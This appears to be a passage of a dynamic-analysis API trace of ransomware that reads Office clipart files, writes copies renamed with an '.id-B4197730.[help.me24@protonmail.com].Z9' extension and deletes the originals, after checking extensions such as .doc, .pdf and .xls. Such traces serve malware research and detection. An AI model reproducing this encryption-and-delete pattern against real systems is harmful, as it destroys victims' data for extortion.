	[0088.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0088.823] lstrlenW (lpString=".jpg") returned 4
	[0088.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.823] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0088.823] lstrlenW (lpString="BS00453_.WMF") returned 12
	[0088.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0088.824] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2436) returned 1
	[0088.824] CloseHandle (hObject=0x324) returned 1
	[0088.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x220
	[0088.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0088.824] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.824] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0088.825] GetLastError () returned 0x0
	[0088.825] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x984, lpOverlapped=0x0) returned 1
	[0088.826] WriteFile (in: hFile=0x394, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x990, lpOverlapped=0x0) returned 1
	[0088.827] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.827] WriteFile (in: hFile=0x394, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.827] SetEndOfFile (hFile=0x394) returned 1
	[0088.827] CloseHandle (hObject=0x394) returned 1
	[0088.828] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.828] SetEndOfFile (hFile=0x324) returned 1
	[0088.829] CloseHandle (hObject=0x324) returned 1
	[0088.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0088.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 1
	[0088.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0088.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0088.829] lstrlenW (lpString=".doc") returned 4
	[0088.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.829] lstrlenW (lpString=".docx") returned 5
	[0088.829] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.829] lstrlenW (lpString=".pdf") returned 4
	[0088.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.829] lstrlenW (lpString=".xls") returned 4
	[0088.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.829] lstrlenW (lpString=".xlsx") returned 5
	[0088.829] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.830] lstrlenW (lpString=".ppt") returned 4
	[0088.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0088.830] lstrlenW (lpString=".zip") returned 4
	[0088.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.830] lstrlenW (lpString=".rar") returned 4
	[0088.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.830] lstrlenW (lpString=".bz2") returned 4
	[0088.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.830] lstrlenW (lpString=".7z") returned 3
	[0088.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0088.830] lstrlenW (lpString=".dbf") returned 4
	[0088.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0088.830] lstrlenW (lpString=".1cd") returned 4
	[0088.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0088.830] lstrlenW (lpString=".jpg") returned 4
	[0088.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0088.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0088.830] lstrlenW (lpString=".doc") returned 4
	[0088.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.830] lstrlenW (lpString=".docx") returned 5
	[0088.830] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.830] lstrlenW (lpString=".pdf") returned 4
	[0088.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.830] lstrlenW (lpString=".xls") returned 4
	[0088.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.830] lstrlenW (lpString=".xlsx") returned 5
	[0088.830] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.830] lstrlenW (lpString=".ppt") returned 4
	[0088.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0088.831] lstrlenW (lpString=".zip") returned 4
	[0088.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.831] lstrlenW (lpString=".rar") returned 4
	[0088.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.831] lstrlenW (lpString=".bz2") returned 4
	[0088.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.831] lstrlenW (lpString=".7z") returned 3
	[0088.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0088.831] lstrlenW (lpString=".dbf") returned 4
	[0088.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0088.831] lstrlenW (lpString=".1cd") returned 4
	[0088.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0088.831] lstrlenW (lpString=".jpg") returned 4
	[0088.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.831] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0088.831] lstrlenW (lpString="BS01080_.WMF") returned 12
	[0088.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0088.831] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2732) returned 1
	[0088.831] CloseHandle (hObject=0x324) returned 1
	[0088.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x220
	[0088.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0088.832] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.832] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0088.832] GetLastError () returned 0x0
	[0088.832] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xaac, lpOverlapped=0x0) returned 1
	[0089.011] WriteFile (in: hFile=0x394, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xab0, lpOverlapped=0x0) returned 1
	[0089.012] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.012] WriteFile (in: hFile=0x394, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.012] SetEndOfFile (hFile=0x394) returned 1
	[0089.063] CloseHandle (hObject=0x394) returned 1
	[0089.064] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.064] SetEndOfFile (hFile=0x324) returned 1
	[0089.065] CloseHandle (hObject=0x324) returned 1
	[0089.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 1
	[0089.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0089.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0089.065] lstrlenW (lpString=".doc") returned 4
	[0089.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.066] lstrlenW (lpString=".docx") returned 5
	[0089.066] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.066] lstrlenW (lpString=".pdf") returned 4
	[0089.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.066] lstrlenW (lpString=".xls") returned 4
	[0089.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.066] lstrlenW (lpString=".xlsx") returned 5
	[0089.066] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.066] lstrlenW (lpString=".ppt") returned 4
	[0089.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0089.066] lstrlenW (lpString=".zip") returned 4
	[0089.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.066] lstrlenW (lpString=".rar") returned 4
	[0089.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.066] lstrlenW (lpString=".bz2") returned 4
	[0089.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.066] lstrlenW (lpString=".7z") returned 3
	[0089.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0089.066] lstrlenW (lpString=".dbf") returned 4
	[0089.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0089.066] lstrlenW (lpString=".1cd") returned 4
	[0089.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0089.066] lstrlenW (lpString=".jpg") returned 4
	[0089.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0089.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0089.066] lstrlenW (lpString=".doc") returned 4
	[0089.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.066] lstrlenW (lpString=".docx") returned 5
	[0089.066] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.067] lstrlenW (lpString=".pdf") returned 4
	[0089.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.067] lstrlenW (lpString=".xls") returned 4
	[0089.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.067] lstrlenW (lpString=".xlsx") returned 5
	[0089.067] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.067] lstrlenW (lpString=".ppt") returned 4
	[0089.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0089.067] lstrlenW (lpString=".zip") returned 4
	[0089.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.067] lstrlenW (lpString=".rar") returned 4
	[0089.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.067] lstrlenW (lpString=".bz2") returned 4
	[0089.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.067] lstrlenW (lpString=".7z") returned 3
	[0089.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0089.067] lstrlenW (lpString=".dbf") returned 4
	[0089.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0089.067] lstrlenW (lpString=".1cd") returned 4
	[0089.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0089.067] lstrlenW (lpString=".jpg") returned 4
	[0089.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.067] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.067] lstrlenW (lpString="CRANE.WMF") returned 9
	[0089.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.350] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=5270) returned 1
	[0089.350] CloseHandle (hObject=0x2bc) returned 1
	[0089.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 0x220
	[0089.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.350] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.351] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0089.351] GetLastError () returned 0x0
	[0089.351] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1496, lpOverlapped=0x0) returned 1
	[0089.353] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x14a0, lpOverlapped=0x0) returned 1
	[0089.354] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.354] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xe6, lpOverlapped=0x0) returned 1
	[0089.354] SetEndOfFile (hFile=0x360) returned 1
	[0089.354] CloseHandle (hObject=0x360) returned 1
	[0089.354] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.354] SetEndOfFile (hFile=0x2bc) returned 1
	[0089.355] CloseHandle (hObject=0x2bc) returned 1
	[0089.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 1
	[0089.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0089.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0089.355] lstrlenW (lpString=".doc") returned 4
	[0089.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.356] lstrlenW (lpString=".docx") returned 5
	[0089.356] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1
	[0089.356] lstrlenW (lpString=".pdf") returned 4
	[0089.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.356] lstrlenW (lpString=".xls") returned 4
	[0089.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.356] lstrlenW (lpString=".xlsx") returned 5
	[0089.356] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1
	[0089.356] lstrlenW (lpString=".ppt") returned 4
	[0089.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0089.356] lstrlenW (lpString=".zip") returned 4
	[0089.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.356] lstrlenW (lpString=".rar") returned 4
	[0089.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.356] lstrlenW (lpString=".bz2") returned 4
	[0089.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.356] lstrlenW (lpString=".7z") returned 3
	[0089.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0089.356] lstrlenW (lpString=".dbf") returned 4
	[0089.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0089.356] lstrlenW (lpString=".1cd") returned 4
	[0089.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0089.356] lstrlenW (lpString=".jpg") returned 4
	[0089.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0089.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0089.356] lstrlenW (lpString=".doc") returned 4
	[0089.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.357] lstrlenW (lpString=".docx") returned 5
	[0089.357] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1
	[0089.357] lstrlenW (lpString=".pdf") returned 4
	[0089.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.357] lstrlenW (lpString=".xls") returned 4
	[0089.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.357] lstrlenW (lpString=".xlsx") returned 5
	[0089.357] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1
	[0089.357] lstrlenW (lpString=".ppt") returned 4
	[0089.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0089.357] lstrlenW (lpString=".zip") returned 4
	[0089.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.357] lstrlenW (lpString=".rar") returned 4
	[0089.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.357] lstrlenW (lpString=".bz2") returned 4
	[0089.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.357] lstrlenW (lpString=".7z") returned 3
	[0089.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0089.357] lstrlenW (lpString=".dbf") returned 4
	[0089.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
